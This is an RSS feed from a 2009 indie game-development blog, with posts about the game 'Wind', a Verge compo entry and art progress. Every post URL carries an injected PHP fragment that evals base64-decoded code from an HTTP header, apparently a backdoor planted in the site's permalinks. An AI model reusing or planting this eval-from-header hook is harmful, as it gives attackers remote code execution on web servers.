Dreamstem » News http://www.dreamstem.com Where dreams are born Thu, 07 May 2009 14:41:51 +0000 en hourly 1 http://wordpress.org/?v=3.0 A little bit about the game structure http://www.dreamstem.com/2009/05/07/a-little-bit-about-the-game-structure/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2009/05/07/a-little-bit-about-the-game-structure/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 07 May 2009 14:41:51 +0000 admin http://www.dreamstem.com/?p=33 This is overdue, so I thought it would be nice to explain how the levels and world will be set up. I am looking in dividing the game into World then into Levels. Each world will be based on a theme much like Mario and Donkey Kong games.  Right now I am looking at having 5 worlds with 5-8 levels each. The overworld map will look like a mix of Chrono Trigger and Super Mario World. Where you have the free roaming of being able to move your character in all direction. Certain levels can be unlocked by doing certain things that will create the overworld to react and change dynamically like in Super Mario World. The first world is pretty basic, but also is probably the hardest for me to do art for. Here is a little bit of something of what I did before I took a break on the project.

]]> http://www.dreamstem.com/2009/05/07/a-little-bit-about-the-game-structure/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 1 New Wind http://www.dreamstem.com/2009/04/30/new-wind/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2009/04/30/new-wind/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 30 Apr 2009 11:38:34 +0000 admin http://www.dreamstem.com/?p=32 I feel very good since I have restarted work on Wind. I think it is because I truly believe that this project will work. I am aiming to have all tiles related stuff at least all sketched for the end of May.

On another note, my friend was just accepted into the Game Design program he applied for. I am so happy for him. He definitely worked hard to get in and totally deserves it. It also gave me more “wind” in my sails to want to finish this game. I think it is time to truly put my all in finish this game and get serious about my dreams.

Here is a quick sketch to you all to hold you while more stuff is coming. =)

]]> http://www.dreamstem.com/2009/04/30/new-wind/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 1 Live from Germany http://www.dreamstem.com/2009/04/22/live-from-germany/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2009/04/22/live-from-germany/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 22 Apr 2009 10:16:11 +0000 admin http://www.dreamstem.com/?p=31 No, I am not dead, nor is Wind. Although it is very clear we missed our Feb 28th deadline, we don’t plan to let that break the project.

Now for those that do not know, I am currently in Germany on exchange for the summer. Althought my free time has been greatly reduced I still plan to work on the Wind during that time.

Now for a status report. Chris has translated the original Wind engine under Lua. As for me, I have been slowly making the art for World 1. Unfortunately, my perfectionist habit came back. It seems during the compo, I was more productive. In any case expect some more updates soon. Also, I plan to read up on everyone else project. Its been a while since I kept up with Gruedorf.

]]> http://www.dreamstem.com/2009/04/22/live-from-germany/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Setting the framework http://www.dreamstem.com/2009/01/25/setting-the-framework/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2009/01/25/setting-the-framework/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 25 Jan 2009 20:42:41 +0000 admin http://www.dreamstem.com/?p=30 So much of the work I have been doing lately as been conceptual. We also established a scope to the game project and we set the total of worlds to five. Within each of the five worlds will be 5-8 different levels/places. The theme of most of the worlds have been chosen and they will be rather fun to work with. We also established our first deadline on which we must have finished world 1.

February 28th 2009!

Expect more details about world 1 next week!

]]> http://www.dreamstem.com/2009/01/25/setting-the-framework/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Anouncement + Compo Judging Results http://www.dreamstem.com/2009/01/13/anouncement-compo-judging-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2009/01/13/anouncement-compo-judging-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 13 Jan 2009 07:43:36 +0000 admin http://www.dreamstem.com/?p=29 So the Compo results are out, you can see them here.

Although we are disappointed of the results, we enjoyed very much making this game. Also, we are glad that we were able to make pthaloearth’s 2-year old laugh. We clearly did something right. ;-) We believe that the game shows much potential and can become something bigger and better. That is why we decided to turn what was originally a demo into a full game!!!!

Stay tuned in the following weeks for more details! =D

]]> http://www.dreamstem.com/2009/01/13/anouncement-compo-judging-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 2 Verge Compo Entry http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 03 Jan 2009 05:09:32 +0000 admin http://www.dreamstem.com/?p=28 As some of you know, Code, Rockstar and I have been working for around a week on a compo for the Verge’s community “How about M!” competition. The game we submitted was titled Wind – With a Capital M. You can download it yourself and try it out at the link at the bottom of this post. You can also check all the competitors’ submissions here.

This game was very satisfying to do and I am satisfied of how it came out. I would love to hear what you think, good or bad, about this game. Enjoy!

Download

]]> http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 2 Wandering http://www.dreamstem.com/2008/12/15/wandering/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2008/12/15/wandering/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Mon, 15 Dec 2008 22:50:02 +0000 admin http://www.dreamstem.com/?p=27 So I am back from a hectic semester. Although I was not posting much I did play around with some art. Here is some of what I did.

One thing I found, is how much more enjoyable it is to make maps outside Maped and import them as pictures. I think it takes out the hardship of making tiles that “tile” correctly. The last two image were done in such a way.  The problem with such a technique is the size of the map files it creates.  Also obstructions in Maped can not be made by importing images and making them into a new layer. Overall though, I prefer this technique for making maps.

As for what I plan to do from now on, well I don’t know honestly. I am still in Gruedorf in spirit but I don’t really have a dedicated project. I still want to finish a game within 6-10 months. However most project out there are of a much larger scope. I will still help other projects with my art but I personally want to work on a game that is:

  • Small scale
  • Creative
  • Enjoyable

So if you are a coder, artist or musician who is interested, drop me a line and we can talk.

]]> http://www.dreamstem.com/2008/12/15/wandering/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 5 Free agent http://www.dreamstem.com/2008/09/09/free-agent/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2008/09/09/free-agent/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 10 Sep 2008 02:02:33 +0000 admin http://www.dreamstem.com/?p=20 I decided to take a break from making my own game. So for now, I want to help others in their project. If you need something specific or want me to help for short term work (Title screen, Character portraits, Icons, etc). Contact me through my email on my verge-rpg.com profile (username: Syn) or post a comment here. I can also help market or advertise your game if you want. =)

]]> http://www.dreamstem.com/2008/09/09/free-agent/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 4 Tchou tchou, update train abound! http://www.dreamstem.com/2008/06/02/tchou-tchou-update-train-abound/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2008/06/02/tchou-tchou-update-train-abound/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 03 Jun 2008 02:13:28 +0000 admin http://www.dreamstem.com/?p=16 I just got an earful from RL friends for not updating this blog like I promised last post. So let me clear up the situation right now. Although I seem to have a lot of lameness and losing points on the board of Gruedorf, I am always working each week on some aspect of the game and more then the required hour. What I am not doing is updating my blog. The reasons are twofold, one is the certain ambiguity of my work which is a bore to write. The other is that I want to keep so many aspects of the game, story, mechanics, art, etc under wraps so not ruin the first impression of people when they play it. The second point has been dispatch by one of my friend who provided a counter argument for it. As for the first point, I notice SDHawk‘s new way of posting checklist much more to my liking. So here is the first checklist for my next update.

  • Finish up tech demo []
    • Art piece: Soldiers resting []
    • Art piece: Destination []
    • Wall art: Dungeon variants []
    • Wall art: Bookshelf []
    • NPC art: Silouhette []
    • NPC art: Chest []
    • Dialogue []
    • Rest of map coding and map building []
]]> http://www.dreamstem.com/2008/06/02/tchou-tchou-update-train-abound/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 2 More pic-less update http://www.dreamstem.com/2008/04/13/more-pic-less-update/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.dreamstem.com/2008/04/13/more-pic-less-update/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 13 Apr 2008 18:24:39 +0000 admin http://www.dreamstem.com/?p=13 So my friend kicked me into clearing up the details of the game mechanics. So we ended up ironing out the core gameplay which I think is looking very nice. I worked on monster arts, as well as worked on plot and characters. I can’t wait to finish exams as I really want to work on the game.

About the previous poll I put up, it seems people are pretty certain about color scheme number one. Though it seems there is a perfect split between people liking the outline and those that do not. Though as the other part of the game gets made we will eventually have a better idea about the use of outlines. Thanks to everyone who voted on the poll. I expect to have polls like these from time to time. Expect some cool stuff. =)

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